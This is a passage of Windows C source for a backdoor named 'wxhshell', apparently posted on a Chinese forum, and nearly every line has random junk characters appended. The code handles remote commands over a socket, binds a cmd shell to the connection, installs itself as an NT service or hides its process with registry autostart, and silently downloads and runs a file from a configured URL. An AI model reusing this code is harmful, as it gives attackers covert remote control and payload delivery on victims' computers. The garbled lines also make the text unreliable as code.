,(#n8|q4  
    switch(cmd[0]) { IifH=%2Y  
  Y:'c<k  
  // 帮助 QO,ge<N+N  
  case '?': { z]i/hU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iF+50d  
    break; 1g|6,J  
  } D4GXZX8 K  
  // 安装 @eDL j}  
  case 'i': { UFa00t^5  
    if(Install()) l {\@+m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\r_g!Mh  
    else hN:2(x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nx(y_.I{K  
    break; > Gxu8,_;  
    } cFG%Ew@  
  // 卸载 HR k^KB  
  case 'r': { aw0xi,Jz  
    if(Uninstall()) MXpj_+@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |fm"{$u  
    else C  F<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TWQ{, B  
    break; "{(4  
    } noNL.%I  
  // 显示 wxhshell 所在路径 ^S`c-N  
  case 'p': { j2{ '!  
    char svExeFile[MAX_PATH]; W?auY_+P  
    strcpy(svExeFile,"\n\r"); })r[q sv  
      strcat(svExeFile,ExeFile); E)l@uPA'1  
        send(wsh,svExeFile,strlen(svExeFile),0); %(wa~:m+S-  
    break; C{):jH,Rf  
    } )u'("  
  // 重启 Eq/%k $6#1  
  case 'b': { ;-65~i0Iu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X<"W@  
    if(Boot(REBOOT)) niN$!k+Jr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Wk!mGc  
    else {  kQm\;[R  
    closesocket(wsh); r&ex<(I{  
    ExitThread(0); dmD ':1  
    } fM)RO7  
    break; f8 M=P.jz  
    } mYzq[p_|j  
  // 关机 .Su9fj y%  
  case 'd': { &wZ:$lK#o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l2!4}zI2  
    if(Boot(SHUTDOWN)) Hv1d4U"qM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fu(I<o+T-  
    else { 2 }Q)&;u  
    closesocket(wsh); %8+'L4  
    ExitThread(0); ]7^YPFc+  
    } 8a1G0HRQ  
    break; [0} ^w[  
    } ~z!U/QR2  
  // 获取shell =`rESb[  
  case 's': { 2,<!l(X  
    CmdShell(wsh); {E`f(9r:  
    closesocket(wsh); p_ QL{gn  
    ExitThread(0); @hWt.qO3s  
    break; sT3O_20{  
  } ?ei7jM",  
  // 退出 kf$0}T`  
  case 'x': { jfHVXu^M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W$P)fPU'  
    CloseIt(wsh); ]pr;ME<M{  
    break; |k+Y >I&  
    } I/MYS5}  
  // 离开 t1.5hsp  
  case 'q': { SVaC)O(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g(MeCoCc  
    closesocket(wsh); y:Qo:Z~  
    WSACleanup(); ( _E<?  
    exit(1); Ssr P  
    break; #Gs] u  
        } [:sV;37s  
  } X'WbS  
  } X%S?o  
zrG&p Z  
  // 提示信息 hn-9l1~!h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zD-.bHo>.  
} }ruBbeQ  
  } ]Z@- r  
]7-*1kL8=~  
  return; aDTNr/I  
} N%:QaCZKw  
](@Tbm8  
// shell模块句柄 ,Rk;*MEMJ  
int CmdShell(SOCKET sock) +EJIYvkFm  
{ )avli@W-3j  
STARTUPINFO si; SI)u@3hl&w  
ZeroMemory(&si,sizeof(si)); tD.md _E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &mKtW$K` q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [F/>pL5U$  
PROCESS_INFORMATION ProcessInfo; G0|j3y9$  
char cmdline[]="cmd"; B{lBUv(B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xf?*fm?m  
  return 0; [ K;3Qf)  
} r%JJ5Al.S  
(qnzz!s  
// 自身启动模式 *f=H#  
int StartFromService(void) a1_7plg  
{ 1RZhy_$\.  
typedef struct B)O{+avu  
{ oEd+  
  DWORD ExitStatus; 7 /w)^&8  
  DWORD PebBaseAddress; Jc"xH~,  
  DWORD AffinityMask; Ro`9Ibqr  
  DWORD BasePriority; o nt8q8  
  ULONG UniqueProcessId; KyK%2:  
  ULONG InheritedFromUniqueProcessId; 8hZ+[E}  
}   PROCESS_BASIC_INFORMATION; >}%  
D.9qxM"Z>  
PROCNTQSIP NtQueryInformationProcess; UR44 iA]  
Q\z6/1:9Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pk!RgoWF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $014/IB  
Z1 %"w*U  
  HANDLE             hProcess; _8Cw_  
  PROCESS_BASIC_INFORMATION pbi; ;fw}<M!6  
nj$TdwZbK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U1}-]^\  
  if(NULL == hInst ) return 0; S<H 2e{~  
:rd{y`59>&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^<49NUB>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3DRJl, v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fcz7   
p'{B|ujj6  
  if (!NtQueryInformationProcess) return 0; r==d^  
^S:S[0\,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5]pvHc  
  if(!hProcess) return 0; *:S_v.Y3"  
blO(Th&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4&%0%  
#t N9#w[K{  
  CloseHandle(hProcess); ybNo`:8 A;  
T%74JRQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .aS`l~6  
if(hProcess==NULL) return 0; 3L}eF g,d  
Rp.42v#ck  
HMODULE hMod; U )kl !  
char procName[255]; LCBP9Rftvd  
unsigned long cbNeeded; U9"g;t+/   
FM$$0}X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jN))|eD0x  
<@:RS$" i  
  CloseHandle(hProcess); FQY{[QvF~  
4JQd/;  
if(strstr(procName,"services")) return 1; // 以服务启动 0V;9v  
XhEZTg;  
  return 0; // 注册表启动 c8z6-6`i0  
} Wh).%K(t  
s&v7<)*q  
// 主模块 Uh[MB wK  
int StartWxhshell(LPSTR lpCmdLine) ` 1Ui  
{ `Iwl\x[A  
  SOCKET wsl; 3yGo{uW  
BOOL val=TRUE; qzon);#7w  
  int port=0; T.bn~Z#f  
  struct sockaddr_in door; x[u4>f  
7R5m|h`M  
  if(wscfg.ws_autoins) Install(); a]H&k$!c  
^IQtXae6M  
port=atoi(lpCmdLine); DVJuX~'|!  
gq%U5J"x;J  
if(port<=0) port=wscfg.ws_port; ?D>%+rK8c  
`JQw]\f4>  
  WSADATA data; i~Qnw-^B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UHyGW$B  
 4,g_$)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _2Zc?*4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \_io:{M  
  door.sin_family = AF_INET; ^VI\:<\{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~8JOPzK  
  door.sin_port = htons(port); '=AqC,\#  
{CH5`&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /1@py~ZX  
closesocket(wsl); !NqLBrcv0  
return 1; uNKf!\Y  
} xAwP  
GG &J  
  if(listen(wsl,2) == INVALID_SOCKET) { g)dKXsy(F  
closesocket(wsl); g)!d03Qoy  
return 1; @`mr|-Rp@  
} J]W? V vv  
  Wxhshell(wsl); / jLb{Ky  
  WSACleanup(); ]hMs:$}  
g3|k-  
return 0; 8Y"R@'~  
E]w2 {%  
} ?_-5W9  
Vp$<@Y  
// 以NT服务方式启动 /np05XhEa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G^ShN45   
{ :3N6Ej  
DWORD   status = 0; VwN=AFk Oj  
  DWORD   specificError = 0xfffffff; \h>6k  
KzZfpdI92  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ilRPV'S^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^*G UcQ$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GvzaLEo  
  serviceStatus.dwWin32ExitCode     = 0; B/Js>R  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Y?59 [  
  serviceStatus.dwCheckPoint       = 0; _U|rTil  
  serviceStatus.dwWaitHint       = 0; Ddh  
(}RTHpD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &8;Fi2}(L  
  if (hServiceStatusHandle==0) return; &( ZEs c  
(I/ZI'Ydy  
status = GetLastError(); U(+%iD60i  
  if (status!=NO_ERROR) g '+2bQ  
{ zYxA#TZL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )Vz=:.D  
    serviceStatus.dwCheckPoint       = 0; 3qQ}U}-;|  
    serviceStatus.dwWaitHint       = 0; lFp:F5  
    serviceStatus.dwWin32ExitCode     = status; I)\{?LdHR  
    serviceStatus.dwServiceSpecificExitCode = specificError; nP&6i5s%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xsIfR3Ze9  
    return; J``5;%TJp  
  } eN'b" _D  
6W< Ig;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a8YFH$Xh  
  serviceStatus.dwCheckPoint       = 0; !a4`SjOgu  
  serviceStatus.dwWaitHint       = 0; ')T*cLQ><  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O]XgA0]  
} T |&u?  
PYwGGB-  
// 处理NT服务事件,比如:启动、停止 2Akh/pb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Yn$X  
{ >Qqxn*O  
switch(fdwControl) !'C8sNs  
{ n5 <B*  
case SERVICE_CONTROL_STOP: ]k$:sX  
  serviceStatus.dwWin32ExitCode = 0; qgs:9V xF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |hS^eK_  
  serviceStatus.dwCheckPoint   = 0; _1jbNQa  
  serviceStatus.dwWaitHint     = 0; aI>F8R?  
  { !gL1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g)ofAG2  
  } SmS6B5j\R  
  return; l\"CHwN?Y  
case SERVICE_CONTROL_PAUSE: ?e%u[Q0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8M0<:p/  
  break; 3!h3flE  
case SERVICE_CONTROL_CONTINUE: %(S!/(LWW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]|N"jr?7H  
  break; RA!8AS?  
case SERVICE_CONTROL_INTERROGATE: HqI[]T@  
  break; BI<(]`FP;s  
}; z%]3`_I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {z9,CwJan?  
} I* P xQ  
Uw?25+[b  
// 标准应用程序主函数 yO/'}FD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tiy#b8  
{ r3Kx  
/g1;`F(MS/  
// 获取操作系统版本 ~<}?pDA}~  
OsIsNt=GetOsVer(); Ld'3uM/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <O41 M\,  
QO>)ug+  
  // 从命令行安装 _7R6%^  
  if(strpbrk(lpCmdLine,"iI")) Install(); S"fqE%  
#sv:)p  
  // 下载执行文件 J[UTn'M8]  
if(wscfg.ws_downexe) { #^_7i)=~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F ~e}=Nb  
  WinExec(wscfg.ws_filenam,SW_HIDE); *l@T 9L[M'  
} /VFQbJ+`  
|}: D_TX  
if(!OsIsNt) { [fJxbr"  
// 如果时win9x,隐藏进程并且设置为注册表启动 W6)XMl}n  
HideProc(); x&N@R?AG1  
StartWxhshell(lpCmdLine); m;sYg  
} UZL-mF:)&  
else ?btX&:j2P  
  if(StartFromService()) V0bKtg1f?-  
  // 以服务方式启动 { )4@rM  
  StartServiceCtrlDispatcher(DispatchTable); A&d_! u>  
else @sRb1+nn  
  // 普通方式启动 /GA-1cS_(  
  StartWxhshell(lpCmdLine); V oyRB2t  
 ?QcS$i  
return 0; SIzA0  
}
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只看该作者 1 发表于: 2006-10-10
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